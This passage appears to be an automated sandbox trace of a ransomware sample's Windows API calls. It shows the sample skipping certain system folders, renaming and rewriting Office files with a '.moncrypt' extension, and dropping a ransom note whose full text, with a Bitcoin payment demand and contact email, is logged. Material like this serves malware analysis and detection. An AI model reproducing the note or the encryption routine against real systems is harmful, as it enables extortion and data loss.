MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0048.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0048.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0048.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0048.347] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.347] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0048.347] GlobalLock (hMem=0x440004) returned 0x555860 [0048.347] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.347] GlobalUnlock (hMem=0x440004) returned 0 [0048.347] GlobalLock (hMem=0x440004) returned 0x555860 [0048.347] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.347] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.347] GlobalUnlock (hMem=0x440004) returned 0 [0048.347] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.347] GlobalUnlock (hMem=0x44000c) returned 0 [0048.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.348] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.348] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0048.348] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.348] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.348] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.348] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.348] GlobalUnlock (hMem=0x44000c) returned 0 [0048.348] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.348] GlobalLock (hMem=0x440004) returned 0x557870 [0048.348] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.348] GlobalUnlock (hMem=0x44000c) returned 0 [0048.348] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.348] GlobalUnlock (hMem=0x440004) returned 0 [0048.348] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.348] CharLowerBuffW (in: lpsz="PowerPointMUI.XML", cchLength=0x11 | out: lpsz="powerpointmui.xml") returned 0x11 [0048.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.349] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0048.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", cchWideChar=114, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML\x18", lpUsedDefaultChar=0x0) returned 114 [0048.349] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML\x18", lpUsedDefaultChar=0x0) returned 4 [0048.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.349] WriteFile (in: hFile=0x190, lpBuffer=0x1e61da8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61da8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.350] CloseHandle (hObject=0x190) returned 1 [0048.350] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\я")) returned 1 [0048.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 0x54e280 [0048.351] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.351] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.352] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", dwFileAttributes=0x20) returned 1 [0048.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.moncrypt")) returned 1 [0048.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.353] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.353] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x5aa [0048.353] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.353] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x5aa, lpOverlapped=0x0) returned 1 [0048.368] GlobalLock (hMem=0x440004) returned 0x555860 [0048.368] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.368] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.368] GlobalUnlock (hMem=0x440004) returned 0 [0048.368] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.368] GlobalUnlock (hMem=0x44000c) returned 0 [0048.368] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.368] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.368] GlobalUnlock (hMem=0x44000c) returned 0 [0048.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.380] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.380] CloseHandle (hObject=0x190) returned 1 [0048.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.381] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.381] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.381] GlobalUnlock (hMem=0x44000c) returned 0 [0048.381] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.381] GlobalLock (hMem=0x440004) returned 0x557870 [0048.381] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.381] GlobalUnlock (hMem=0x44000c) returned 0 [0048.381] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.381] GlobalUnlock (hMem=0x440004) returned 0 [0048.381] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557870, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69aa8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.381] GetLastError () returned 0x2 [0048.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.385] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.385] CloseHandle (hObject=0x190) returned 1 [0048.386] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.386] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.386] GlobalLock (hMem=0x440004) returned 0x555860 [0048.386] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.386] GlobalUnlock (hMem=0x440004) returned 0 [0048.386] GlobalLock (hMem=0x440004) returned 0x555860 [0048.386] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.386] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.386] GlobalUnlock (hMem=0x440004) returned 0 [0048.386] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.386] GlobalUnlock (hMem=0x44000c) returned 0 [0048.386] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.386] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.386] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.386] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.388] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.388] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.moncrypt")) returned 1 [0048.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.388] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.388] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x75e [0048.388] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.388] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x75e, lpOverlapped=0x0) returned 1 [0048.390] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.390] GlobalLock (hMem=0x440004) returned 0x557870 [0048.390] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.390] GlobalUnlock (hMem=0x44000c) returned 0 [0048.390] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.390] GlobalUnlock (hMem=0x440004) returned 0 [0048.390] GlobalLock (hMem=0x440004) returned 0x555860 [0048.390] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.390] GlobalUnlock (hMem=0x440004) returned 0 [0048.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.402] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.402] CloseHandle (hObject=0x190) returned 1 [0048.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT䥕堮䱍\x18\x03") returned 34 [0048.403] GlobalLock (hMem=0x440004) returned 0x555860 [0048.403] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.403] GlobalUnlock (hMem=0x440004) returned 0 [0048.403] GlobalLock (hMem=0x440004) returned 0x555860 [0048.403] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.403] 